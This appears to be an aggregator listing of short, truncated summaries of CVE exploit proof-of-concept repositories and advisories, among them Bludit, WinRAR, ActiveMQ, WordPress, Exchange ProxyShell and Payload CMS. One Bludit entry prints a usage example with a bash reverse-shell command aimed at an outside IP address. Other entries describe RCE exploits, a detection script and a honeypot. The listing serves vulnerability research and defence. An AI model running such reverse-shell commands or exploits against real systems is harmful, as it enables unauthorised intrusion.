CVE-2019-16113

CVE-2019-16113 Esta es una implementación en python de un PoC para la vulnerabilidad de carga de archivos de imagen y traversal de directorios de Bludit CVE-2019-16113 Bludit 3.9.2 permite la ejecución remota de código a través de bl-kernel/ajax/upload-images.php porque se puede ingresar código P...

CVE-2026-105844

Payload , a headless content management system, contains a prototype pollution vulnerability in the @payloadcms/plugin-import-export plugin. An unauthenticated user can submit prototype-sensitive field paths, leading to unintended application behavior and potential remote code execution (RCE) . T...

EUVD-2026-93470

Payload is a free and open source headless content management system. In versions from 3.0.0 before 3.88.0 and canary versions before 4.0.0-canary.27, an unauthenticated user can submit prototype-sensitive field paths when @payloadcms/plugin-import-export is enabled, causing unintended applicatio...

CVE-2025-60751

CVE-2025-60751 PoC para CVE-2025-60751 Producto afectado: Geographiclib = v2.5.1 El artículo completo está disponible en https://zer0matt.blogspot.com/2026/05/cve-2025-60751-geographiclib-stack.html Descripción Se produce un desbordamiento de búfer en la pila cuando GeoConvert recibe una entrada...

CVE-2023-38831-POC

Description Name : CVE-2023-38831 CVSS Score : 7.8 Affected Versions : Winrar 6.23 CVE-2023-38831 is a zero-day vulnerability affecting WinRAR all versions prior to 6.23. The issue is in the processing of ZIP format which could allow attackers to utilize affected archives to distribute malware. B...

CVE-2016-3088

CVE-2016-3088 Apache ActiveMQ Remote Code Execution Exploit Description The Fileserver web application in Apache ActiveMQ 5.x before 5.14.0 allows remote attackers to upload and execute arbitrary files via an HTTP PUT followed by an HTTP MOVE request. Author Alexandre Aguiar @cyberaguiar Exploit...

nmap-spring4shell

Nmap-spring4shell Log4shell-nmap is an NSE script for detecting Spring4Shell RCE vulnerabilities CVE-2022-22965 in HTTP services. The script injects the correct payload into the application and then executes the following command on the specified endpoint. Vulnerability See here. Usage...

CVE-2019-8943

CVE-2019-8943 WordPress 5.0.0 - Image Remote Code Execution Exploit of CVE-2019-8942 and CVE-2019-8943 using python : ExploitDB : https://www.exploit-db.com/exploits/49512 The original exploit for metasploit : WordPress Core 5.0.0 - Crop-image Shell Upload Metasploit :...

Codify-TJNULL-OSCP-

Hack The Box — Writeup de Codify Guía completa de pruebas de penetración y writeup para la máquina Codify en Hack The Box. 📌 Información de la Máquina Campo| Valor ---|--- Nombre| Codify SO| Linux Dificultad| Fácil Conceptos Clave| vm2 RCE CVE-2023-30547, Enumeración de BD SQLite, Cracking de...

React2Shell_Exploit

React2ShellExploit CVE-2025-55182 I created simple react2shell CVE-2025-55182 python exploit USAGE 1. Save the script: Save the code above as exploit.py. 2. Update Hosts: Ensure reactor.htb resolves to the target IP in your /etc/hosts file. echo " reactor.htb" | sudo tee -a /etc/hosts 3. Start...

CVE-2019-16113

CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 RCE authenticate Usage python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" Example...

CVE-2026-39023

CVE-2026-39023 PoC de RCE - RESPONSIVE filemanager v.9.14.0 última versión - sin parche Proyecto de Github : https://github.com/trippo/ResponsiveFilemanager Requisitos: No se requiere nada, este exploit no está autenticado. La aplicación Responsive Filemanager es una herramienta de gestión de...

USN-8885-1 fluidsynth vulnerabilities

It was discovered that FluidSynth did not properly validate the channel argument of the pitchbendrange command. A remote attacker could possibly use this issue to cause FluidSynth to crash, resulting in a denial of service, or execute arbitrary code. CVE-2026-58264 It was discovered that FluidSyn...

printix-CVE-2022-29551

CVE-2022-29551 Lanzamiento Simple | Versión para imprimir Una vulnerabilidad de "Método o función peligrosa expuesta" en PrintixService.exe, en "Printix Secure Cloud Print Management" de Kofax Printix, versión 1.3.1156.0 y anteriores, permite a un atacante local o remoto la capacidad de instalar...

CVE-2026-22356

CVE-2026-22356: Vulnerabilidad de Path Traversal y RCE en Jetpack CRM Advertencia: Esta herramienta debe utilizarse únicamente en entornos de prueba autorizados. El usuario es totalmente responsable del uso ilegal. 📥 Requisitos pip3 install requests urllib3 $ python3 exploit.py https://example.co...

sjet

sJET by siberas siberas JMX Exploitation Toolkit sJET allows an easy exploitation of insecure configured JMX services. Additional background information can be found here and here. Prerequisites Jython 2.7 Usage SJET implements a CLI interface using argparse: jython sjet.py targetHost targetPort...

Spring4shell

Spring4shell Spring4shell...

CVE-2019-16759

CVE-2019-16759 vBulletin 5.x未授权RCE批量检测脚本 这漏洞挺鸡肋的，随便找了200多个，就5个存在这个洞 接下来自行解决，php都有了，还不会反弹shell？...

cve-2020-0618

Honeypot CVE-2020-0618 Detecta y registra intentos de explotar CVE-020-0618 RCE en SQL Reporting Services Sirve contenido y cabeceras como lo haría SSRS, para aumentar las posibilidades de indexación en motores de búsqueda ej. google, shodan, etc. Basado en el gran trabajo de MDSec y x1sec...

CVE-2021-34473

CVE-2021-34473 CVE-2021-34473 Microsoft Exchange Server Remote Code Execution Vulnerability Reproducing ProxyShell Exploit https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/ This is NOT your Cyberweapon just a experimental PoC...